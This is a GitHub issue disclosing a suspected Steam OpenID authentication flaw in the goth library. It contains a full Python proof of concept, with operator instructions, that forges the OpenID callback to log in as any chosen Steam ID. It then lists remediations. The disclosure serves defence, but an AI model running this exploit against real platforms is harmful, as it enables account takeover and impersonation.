Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Potential vulnerability in Steam authentication #595

Open
malsatin opened this issue Jan 17, 2025 · 0 comments
Open

Potential vulnerability in Steam authentication #595

malsatin opened this issue Jan 17, 2025 · 0 comments

Comments

@malsatin
Copy link

Hi!

We recently received a bug report about an exploit in the default OpenID authentication flow through Steam.
We don't use goth directly of indirectly and didn't try to reproduce the issue using the library, but after checking its source code I've noticed, that goth may be susceptible to this kind of attack.

Below is the reproduction code of the attack:

## INSTRUCTIONS ##

# 1. Edit the TARGET_VICTIM_STEAMID to select a steam64id of your choice
# 2. Run the python script
# 3. When asked for the Steam Login URL, enter the url that your platform sends users to in order to auth (should be a steamcommunity.com/openid/login url)
# 4. When asked to intercept the response, you must do so when steam is redirecting the user back to your platform. It is advised to use a tool such as Burp Community Edition in order to achieve this.
# 5. After following all the steps, your platform should log the user in as the TARGET_VICTIM_STEAMID

## CONSTANTS (EDIT THESE) ##

TARGET_VICTIM_STEAMID = "00000000000000000"

## POC (DON'T TOUCH THIS) ##

from datetime import datetime, timezone
import random
import string
from urllib.parse import urlparse, parse_qs, parse_qsl, quote, urlunparse, urlencode

FAKE_NONCE_TIME = datetime.now(timezone.utc).strftime("%Y-%m-%dT%H:%M:%SZ")
FAKE_NONCE_STRING = ''.join(random.choices(string.ascii_letters + string.digits, k=27)) + "="
FAKE_NONCE = FAKE_NONCE_TIME + FAKE_NONCE_STRING


def run():
    originalRawURL = input("Enter Steam Login URL: ")
    originalQueryParams = parse_qs(urlparse(originalRawURL).query)

    returnURL = originalQueryParams['openid.return_to'][0]

    spoofedBottomSection = f"""test
claimed_id:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
identity:https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}
return_to:{returnURL}
response_nonce:{FAKE_NONCE}
assoc_handle:1234567890
invalidate_handle:test"""

    originalSpoofedURL = originalRawURL + f"&openid.assoc_handle={quote(spoofedBottomSection)}"

    print(
        f"\nEnter the following link into your browser and log in. Intercept the response before it reaches the target return-to endpoint:\n{originalSpoofedURL}")
    callbackRawURL = input("\nEnter the response from steam: ")
    callbackParsedURL = urlparse(callbackRawURL)
    callbackQueryParams = parse_qs(callbackParsedURL.query)

    attacker_claimedid = callbackQueryParams['openid.claimed_id'][0]
    real_nonce = callbackQueryParams['openid.response_nonce'][0]

    spoofedTopSection = f"""https://steamcommunity.com/openid/login
claimed_id:{attacker_claimedid}
identity:{attacker_claimedid}
return_to:{returnURL}
response_nonce:{real_nonce}
assoc_handle:1234567890
invalidate_handle:test"""

    callbackQueryParams['openid.claimed_id'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
    callbackQueryParams['openid.identity'][0] = f"https://steamcommunity.com/openid/id/{TARGET_VICTIM_STEAMID}"
    callbackQueryParams['openid.response_nonce'][0] = FAKE_NONCE
    callbackQueryParams['openid.invalidate_handle'][0] = "test"
    callbackQueryParams['openid.op_endpoint'][0] = spoofedTopSection

    query_dict = {}
    for key, value in callbackQueryParams.items():
        query_dict[key] = value[0]

    callbackSpoofedURL = urlunparse((
        callbackParsedURL.scheme,
        callbackParsedURL.netloc,
        callbackParsedURL.path,
        callbackParsedURL.params,
        urlencode(query_dict, doseq=True),
        callbackParsedURL.fragment
    ))

    print(f"\nFINALISED SPOOFED URL:\n{callbackSpoofedURL}")


if __name__ == "__main__":
    run()

Remediations:

  • In order to fix this vulnerability, your library must ensure that the openid.op_endpoint parameter returned by Steam is equal to https://steamcommunity.com/openid/login
  • (Optionally) Restrict the openid.invalidate_handle parameter from Steam, as it is never sent in the normal flow.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant